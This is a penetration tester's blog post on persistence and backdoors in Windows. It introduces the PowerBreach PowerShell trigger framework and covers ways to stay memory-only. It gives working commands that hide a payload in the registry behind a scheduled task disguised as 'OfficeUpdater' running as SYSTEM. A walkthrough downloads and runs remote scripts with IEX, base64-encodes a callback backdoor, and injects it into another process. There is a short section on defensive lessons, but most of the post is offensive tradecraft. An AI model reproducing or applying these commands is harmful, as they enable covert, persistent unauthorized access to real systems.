Since the dawn of hacking, there have been lots of techniques released to backdoor Windows systems. From the wild wild west of the registry to the Windows Task scheduler, hackers love to find creative ways to maintain access to their conquests. While backdoors do not have to be related to malicious code, such as the case of an maliciously added user, often times a backdoor is thought to be synonymous with other sub-forms of malware. It just isn’t true… a backdoor can be much more interesting than a RAT hidden in the Run key. The Shmoocon 2013 talk by Jake Williams and Mark Baggett really hit home for me. The blog about this talk can be found here.
Taking a step back, lets pull straight from the most authoritative source on the internet… Wikipedia:
A backdoor in a computer system (or cryptosystem or algorithm) is a method of bypassing normal authentication, securing unauthorized remote access to a computer, obtaining access to plaintext, and so on, while attempting to remain undetected
Across the spectrum of assessments I go on, I find the concept to be not quite that simple. Backdoors possess multiple qualities that are worth breaking down to understand the decision points you have available to you as an operator. Further, there is no worse feeling than having your chosen backdoor be your single point of failure.
Is Reboot Persistence a Requirement
I would argue that a backdoor does not have to be reboot persistent. In its very nature, a backdoor is simply a method of gaining access to some targeted resource. Backdoors often have a persistent component but I would say that is a decision best left to the context and scenario of what you are trying to accomplish. In very simple network scenarios or penetration tests that have little focus from network defenders, run-of-the-mill persistence might be applicable and useful. Things like run keys, service executables, or App Init DLLs come in quite handy for this situation.
In more sophisticated or tough network environments, I often try to operate 95% memory only and only resort to reboot persistence in areas that seem to be key-terrain. This might be more paranoid than necessary but by doing this, I help to avoid issues with host based IDS and prevent leaving artifacts on the hosts. In the places I choose to do reboot persistence, I prefer methods that do not utilize a file on disk such as registry storage of payloads. It can be done quite simple with PowerShell:
$backdoor = "" Set-ItemProperty -Path 'HKLM\HARDWARE' -Name 'secret' -Value $backdoor schtasks /create /tn OfficeUpdater /tr "powershell.exe -c 'IEX (gp HKLM:HARDWARE\ secret).secret'" /sc onlogon /ru System
Dissecting the Concept
Now that the requirement of persistence is removed, lets further break down the components of network backdoors. I like to think of a backdoor as two separate components, the trigger and the action.
Trigger – cause (an event or situation) to happen or exist.
Applying it to hacking and backdoors, the trigger is the thing that signals that the hacker would like to regain access to the information or system. The action is the thing that occurs to allow them access. In the simplest case, a backdoor user, an RDP login might be the trigger while the successful login is the action. In a slightly more complicated case scenario such as file association hijacking, the trigger would be the opening of a file with a certain extension and the action would be the execution of a binary they have placed on disk. Most people have probably never had to think of these as separate components but by doing so, we gain a lot of flexibility in how we can successfully backdoor systems.
By being creative with different trigger methods for your backdoors, you greatly increase chances of being survivable inside of a network. Further, by being equipted with many different techniques, you can be prepared for the different host specifics situations you might incur. I am a big believer in the variation of tradecraft while conducting security assessments to test the breadth and depth of the security response. Different trigger methods associated with different actions allows you to achieve such variation.
While this is a naturally offensive concept, there are defensive lessons as well. By recognizing a backdoor as two broad components, the defenders are provided with two unique things to target. A perfect adversary would vary both the trigger methods and the actions that occur but often times, due to laziness or resource constraints, this just doesn’t happen. If defenders can recognize the choke point in adversarial tradecraft (such as a common action that occurs or a common trigger being used), defenders might be able to hone in on and hunt an active adversary.
Another important concept that can be demonstrated with this concept is the strength of thorough analysis. Defenders who stop at the discovery of a single trigger or method and claim that they have “eradicated the adversary” are being negligent in their analytical responsibilities.
More Toys – PowerBreach
At CarolinaCon 11 (2015), @harmj0y and I presented a talk on the Veil PowerTools. Generically, Veil PowerTools is a collection of offensive PowerShell tools. The newest addition to the family and one of the missing focus areas was PowerBreach. PowerBreach is the start of a backdoor/trigger framework implemented in PowerShell. The purpose is to allow pentesters and redteam operators to regain access to previously compromised systems without having to leave a full on RAT on the system or without having to maintain a session.
PowerBreach runs is a PowerShell module and therefore has the quality of being memory only if utilized properly. It currently provides multiple trigger options such as:
- Invoke-EventLogBackdoor: Monitors for failed RDP login attempts from a certain username
- Invoke-PortBindBackdoor: Binds to TCP Port and looks for a “magic” value
- Invoke-ResolverBackdoor: Resolves DNS A record and calls home to it when it changes
- Invoke-PortKnockBackdoor: Starts a raw socket sniffing for a “magic” value in the data of a packet
- Invoke-LoopBackdoor: Callback to certain IP on set interval
- Invoke-DeadUserBackdoor: Looks for “dead” user and calls back when does not exist
When one of these events occur, PowerBreach initiates a callback function and the action it currently implements is the IEX Download Cradle of a secondary stage. My plan is to add options for the action including registry keys and files so that you have options in tight situations.
For a video demo from the conference, see the youtube video: PowerBreach Demo
You might ask… What about just having a Powershell.exe running in the process list? Also at CarolinaCon 11, we released an update to our existing module PowerPick, specifically Invoke-PSInject. In short, this allows us to inject PowerShell code into a remote process to run using the .NET framework. Separate post coming on this topic! When combined with PowerBreach, you have the ability to hide your PowerShell backdoors in separate processes!
Walking through a use case is simple! Assuming we have current access to a host an a PowerShell prompt.
*payload is encoded base64* IEX (New-Object Net.Webclient).DownloadString(“http://SERVER/powerbreach.ps1″) Invoke-DeadUserBackdoor -Username BADGUY -CallbackURI "http://SERVER/payload" -Timeout 500 -Sleep 10 -Domain
ON CALLBACK SERVER cd /var/www cat powerbreach.ps1 > powerbreachmod.ps1 echo 'Invoke-DeadUserBackdoor -Username BADGUY -CallbackURI "http://SERVER/payload" -Timeout 500 -Sleep 10 -Domain' >> powerbreachmod.ps1 cat powerbreachmod.ps1 | base64 > powerbreachmod_enc.ps1 ON TARGET IEX (New-Object Net.Webclient).DownloadString(“http://SERVER/PSInject.ps1″) Invoke-PSInject -CallbackURI http://SERVER/PowerBreachMod_enc.ps1") -ProcID <PID>